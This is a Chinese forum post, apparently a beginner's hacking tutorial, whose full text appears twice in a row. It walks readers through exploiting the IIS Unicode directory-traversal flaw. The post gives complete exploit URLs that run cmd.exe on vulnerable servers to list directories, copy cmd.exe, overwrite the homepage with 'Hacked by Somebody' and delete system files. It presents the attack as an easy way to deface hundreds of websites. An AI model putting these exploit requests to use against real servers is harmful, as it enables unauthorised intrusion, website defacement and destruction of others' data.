B
B老大
久保加琴,gumuzi 谈到想了解一些比较深入的安全知识,我就胡乱写点。
真正的入侵需要多方面知识,很多不了解的人以为是多么高深的东西,把可以进入主机,修改主页的人当作牛,随便灌以“黑客”的名号,其实很多是别人的追捧和自以为是(感觉怎么有点象中国男足?)
国外很多黑客的故事,十几岁甚至几岁就有软件作品,就可以攻击网站,被当做天才。诚然这其中不乏天才,但你不能说一个十几岁的小孩就可以了解很多连当代中国计算机硕士博士都不能够理解的东西----黑客的技术,那岂不是对教育的巨大讽刺。这里面我们要有正确的心态和认识,首先计算机安全技术的确高深,需要长期的经验累积,需要一定的天分、运气、和金钱,但是入门不难。我如果说一个对计算机有大概了解的人你可以在一天内学会破戒网站,你可能不信,我跟你说你可以在几天内黑掉几百个网站的网页,你也许认为我在吹牛。
取得administrator也许是很多入侵的最终理想结果,大致的思路是:找出网站的操作系统,根据系统找出漏洞 ,根据漏洞要么利用别人的某些经验,要么自己琢磨来进入系统,进入后根据个人的性格任性而为,其后被称为黑客...
所以我们所要做的是,先熟悉各种操作系统,然后学习一定的编程知识,同时象所有的人学习各种经验,其后自己积累经验。
我给你的建议:Linux/Unix熟悉直至精通,或者对Winxxx精通。
第一个漏洞:
这是老漏洞了,但对于新手来说很好用,而且事实证明现在仍有很多的机子有这种漏洞,OK我们开始
先用扫描器(很多扫描器都可以扫到该漏洞,比如流光)扫到有UNICODE漏洞的机子,(注意漏洞的编码方式有所不同有的是..%CI%IC.. 用的是..%C0%AF..当然还有其它的方式, 具体根据你的扫描器扫出的结果为标准
我们在流览器(IE)的地址栏中输入
http://x.x.x.x/scripts/..%c1%1c../w.../cmd.exe?/c+dir
这时你可以看到它的系统目录但我们要的是主页面放置的目录
在输入
http://x.x.x.x/scripts/..%c1%1c../w.../inetpub\wwwroot
看到了吧,目录中的INDEX.HTML INDEX.ASP DEFAULT.ASP DEFAULT.ASP等等就是它的主页面,
我们来换它的页面
http://x.x.x.x/scripts/..%c1%1c../w...cmd.exe+ccc.exe
http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Somebody+>+c:\inetpub\wwwroot\default.asp
OK
成功了,此时它的主页面被换成了HACKED BY Somebody大家可以看看
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe 执行后是复制,如果换成这个呢
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+DEL+c:\winnt\system32\cmd.exe
没错就是删除了
知道怎么做了吧
呵呵
这里可能有很多朋友发现了个东西就是cmd.exe他是command的缩写,就是原来win9x和老dos的一个命令解释器,现在的NT用cmd.exe来做很多的命令合集,比如dir,del,copy,但是由于他是个外部命令(dos中的概念,内部命令是指固定与系统内核的程序,外部命令必须要有文件,比如.com,.exe具体点xcopy.exe,ping.exe)所以必须有那个文件的路径,通俗点就是cmd在那个目录下,当然很多安装方式默认在system32和另外一个目录(忘了),但是由于你是guest所以你不能访问系统目录,而该漏洞就是利用unicode的编码问题让你可以访问系统目录,从而访问cmd.exe,从而干很多事情......
to be continued...
And don't cry for me Argentina...
Good Luck Italy!
真正的入侵需要多方面知识,很多不了解的人以为是多么高深的东西,把可以进入主机,修改主页的人当作牛,随便灌以“黑客”的名号,其实很多是别人的追捧和自以为是(感觉怎么有点象中国男足?)
国外很多黑客的故事,十几岁甚至几岁就有软件作品,就可以攻击网站,被当做天才。诚然这其中不乏天才,但你不能说一个十几岁的小孩就可以了解很多连当代中国计算机硕士博士都不能够理解的东西----黑客的技术,那岂不是对教育的巨大讽刺。这里面我们要有正确的心态和认识,首先计算机安全技术的确高深,需要长期的经验累积,需要一定的天分、运气、和金钱,但是入门不难。我如果说一个对计算机有大概了解的人你可以在一天内学会破戒网站,你可能不信,我跟你说你可以在几天内黑掉几百个网站的网页,你也许认为我在吹牛。
取得administrator也许是很多入侵的最终理想结果,大致的思路是:找出网站的操作系统,根据系统找出漏洞 ,根据漏洞要么利用别人的某些经验,要么自己琢磨来进入系统,进入后根据个人的性格任性而为,其后被称为黑客...
所以我们所要做的是,先熟悉各种操作系统,然后学习一定的编程知识,同时象所有的人学习各种经验,其后自己积累经验。
我给你的建议:Linux/Unix熟悉直至精通,或者对Winxxx精通。
第一个漏洞:
这是老漏洞了,但对于新手来说很好用,而且事实证明现在仍有很多的机子有这种漏洞,OK我们开始
先用扫描器(很多扫描器都可以扫到该漏洞,比如流光)扫到有UNICODE漏洞的机子,(注意漏洞的编码方式有所不同有的是..%CI%IC.. 用的是..%C0%AF..当然还有其它的方式, 具体根据你的扫描器扫出的结果为标准
我们在流览器(IE)的地址栏中输入
http://x.x.x.x/scripts/..%c1%1c../w.../cmd.exe?/c+dir
这时你可以看到它的系统目录但我们要的是主页面放置的目录
在输入
http://x.x.x.x/scripts/..%c1%1c../w.../inetpub\wwwroot
看到了吧,目录中的INDEX.HTML INDEX.ASP DEFAULT.ASP DEFAULT.ASP等等就是它的主页面,
我们来换它的页面
http://x.x.x.x/scripts/..%c1%1c../w...cmd.exe+ccc.exe
http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Somebody+>+c:\inetpub\wwwroot\default.asp
OK
成功了,此时它的主页面被换成了HACKED BY Somebody大家可以看看
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe 执行后是复制,如果换成这个呢
http://x.x.x.x/scripts/ ..%c1%1c../winnt/system32/cmd.exe?/c+DEL+c:\winnt\system32\cmd.exe
没错就是删除了
知道怎么做了吧
呵呵
这里可能有很多朋友发现了个东西就是cmd.exe他是command的缩写,就是原来win9x和老dos的一个命令解释器,现在的NT用cmd.exe来做很多的命令合集,比如dir,del,copy,但是由于他是个外部命令(dos中的概念,内部命令是指固定与系统内核的程序,外部命令必须要有文件,比如.com,.exe具体点xcopy.exe,ping.exe)所以必须有那个文件的路径,通俗点就是cmd在那个目录下,当然很多安装方式默认在system32和另外一个目录(忘了),但是由于你是guest所以你不能访问系统目录,而该漏洞就是利用unicode的编码问题让你可以访问系统目录,从而访问cmd.exe,从而干很多事情......
to be continued...
And don't cry for me Argentina...
Good Luck Italy!